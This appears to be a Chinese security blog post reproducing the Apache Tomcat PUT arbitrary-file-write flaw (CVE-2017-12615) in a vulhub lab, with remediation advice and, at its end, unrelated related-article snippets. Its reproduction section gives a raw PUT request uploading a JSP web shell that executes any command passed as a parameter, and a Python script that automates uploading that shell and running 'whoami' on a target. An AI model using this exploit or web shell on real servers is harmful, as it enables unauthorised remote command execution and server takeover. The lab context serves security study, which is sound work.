Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

devtools/2024/9/23 7:18:24/

1 漏洞原理

  1. 在Apache Tomcat服务器中,PUT方法通常用于上传文件。攻击者可以通过发送PUT请求,将恶意文件上传到服务器。

  2. 当攻击者发送PUT请求时,Tomcat服务器会将请求中的数据写入指定的文件。如果攻击者能够控制文件路径,那么他们可以将恶意文件写入任意位置,从而实现任意文件写入。

2 漏洞影响

  1. 任意文件写入:攻击者可以通过构造恶意PUT请求,将恶意文件写入服务器的任意位置。这可能导致服务器被攻击者控制,或者敏感数据泄露。

  2. 远程代码执行:攻击者可以通过上传恶意脚本文件(如JSP文件)到服务器,然后通过访问该文件来执行恶意代码。这可能导致远程代码执行漏洞,进一步威胁服务器的安全。

  3. 信息泄露:攻击者可以通过写入恶意文件,访问服务器上的敏感信息,如配置文件、日志文件等。

3 环境搭建

进入vulhub目录
cd vulhub/tomcat/CVE-2017-12615
部署漏洞环境
docker compose build
docker compose up -d
查看端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现步骤

1 抓包后,右键单机Send to Repeater

2 修改请求方式为PUT,文件名为1.jsp(名字任意),内容填充shell脚本。

PUT /1.jsp/ HTTP/1.1
Host: 192.168.135.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=1CCD15499524302645C18183B820C173
Upgrade-Insecure-Requests: 1
Content-Length: 302
​
<%java.io.InputStream is = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();int a = -1;byte[] b = new byte[2048];while ((a = is.read(b)) != -1) {out.print(new String(b));}
%>

这里看到返回201,应该已经上传成功了。

3.使用浏览器访问exc.jsp可以任意命令执行

5 编写python脚本探测漏洞是否存在

#!/usr/bin/env python
​
import requests
import time
​
# 提示:本代码仅用于实验和学习目的,请谨慎使用。
print(" 注意:本代码仅用于实验和学习目的,请谨慎使用")
​
# 定义要上传的恶意文件名
payload_file = 'shell1.jsp/'
​
def cve_2017_12615():# 输入目标IP地址和端口url = input("请输入目标IP地址和端口(格式:http://172.30.230.107:8080/):")# 将payload_file添加到目标URLpayload_url = url + payload_fileprint(payload_url)# 定义请求头headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'}
​# 定义恶意脚本内容payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();""int a = -1;""byte[] b = new byte[2048];""while((a=in.read(b))!=-1){out.println(new String(b));}""%>")# 使用PUT请求将恶意脚本写入服务器response = requests.put(payload_url, data=payload_body, headers=headers)print(payload_url[:-1])print(response.status_code)# 等待一会time.sleep(3)# 定义测试负载test_payload = {"cmd":"whoami"}# 发送GET请求测试恶意脚本是否成功执行response2 = requests.get(payload_url[:-1], headers=headers,params=test_payload)print(response2.status_code)if response2.status_code == 200:print("漏洞存在!!")else:print("漏洞不存在!!")
​
# 调用cve_2017_12615()函数
cve_2017_12615()

结果

6 修复建议:

  1. 禁用PUT方法:在Apache Tomcat服务器的配置文件(如web.xml)中,禁用PUT方法,防止攻击者通过PUT请求上传文件。

  2. 限制文件上传路径:在应用程序中限制允许上传文件的路径,防止攻击者将恶意文件写入敏感位置。

  3. 输入验证和过滤:对用户输入进行严格的验证和过滤,防止恶意输入导致任意文件写入。

  4. 使用安全编码规范:遵循OWASP(开放Web应用程序安全项目)提供的安全编码规范,确保应用程序的安全性。


http://www.ppmy.cn/devtools/30786.html

相关文章

k8s安装nginx Ingress超详细指南

在本全面的 Ingress 指南中&#xff0c;您将学习如何在 Kubernetes 上设置 Nginx Ingress控制器并使用 DNS 配置 Ingress。 目前有两种 Nginx Ingress 控制器。 kubernetes 社区的 Nginx Ingress 控制器Nginx Inc 开发的 Nginx Ingress 控制器 我们将使用 Kubernetes 社区 N…

24考研双非上岸武汉理工大学电子信息专硕,855考研经验

目录 一、考研择校经验 二、武理考研初试经验 三、武理考研复试经验 一、考研择校经验 我建议学弟学妹们确定院校时没必要一上来就说我一定要考某个院校。其实考哪个学校是要在考研备考的过程中慢慢探索&#xff0c;慢慢研究的&#xff0c;不过最晚9月初一定要确定院校了&a…

爬虫 - 基于requests进行二次开发

项目地址 https://github.com/markadc/wauo.git持续更新中… 演示 # -*- coding: utf-8 -*-from wauo import WauoSpider, Responses WauoSpider(default_headers{Cookie: Your Cookies}) url https://www.baidu.com resp: Response s.send(url)print(resp) print(resp.r…

ubuntu20.04安装RabbitMQ 3.11.19+Erlang 25.3.1

1、检查RabbitMQ、Erlang版本 Erlang Version Requirements | RabbitMQ 2、ubuntu20.04对应的是 focal 3、下载安装Erlang 下载地址&#xff1a;http://packages.erlang-solutions.com/erlang/debian/pool/ sudo dpkg -i esl-erlang_25.3-1~ubuntu~focal_amd64.deb sudo apt…

解决Git提交失败的问题:配置user.name和user.email

文章目录 一、场景描述二、原因分析三、解决办法1、全局配置2、单个项目配置3、验证配置 四、总结 在软件开发过程中&#xff0c;使用Git进行版本控制是必不可少的。然而&#xff0c;有时候在用Visual Studio Code提交代码时可能会遇到提交失败的情况&#xff0c;其中一个常见的…

爬虫学习:基本网络请求库的使用

目录 一、urllib网络库 1.urlopen()方法 2.request方法 二、requests网络请求库 1.主要方法 2.requests.get()和requests.post() 一、urllib网络库 1.urlopen()方法 语法格式&#xff1a; urlopen(url,data,timeout,cafile,capath,context) # url:地址 # data:要提交的数据…

【C 数据结构】深度优先搜索、广度优先搜索

文章目录 【 1. DFS 深度优先搜索 】1.1 基本原理1.2 C 实现 【 2. BFS 广度优先搜索 】2.1 基本原理2.2 C 实现 【 3. 深度优先生成树、广度优先生成树 】【 4. 深度优先生成森林、广度优先生成森林 】4.1 深度优先生成森林4.2 广度优先生成森林 对存储的图中的顶点进行遍历搜…

【Leetcode】63- 不同路径II

问题简述 一个机器人位于一个 m x n 网格的左上角 。机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角。 现在考虑网格中有障碍物。那么从左上角到右下角将会有多少条不同的路径&#xff1f; 网格中的障碍物和空位置分别用 1 和 0 来表示。 示例 1&#xff1…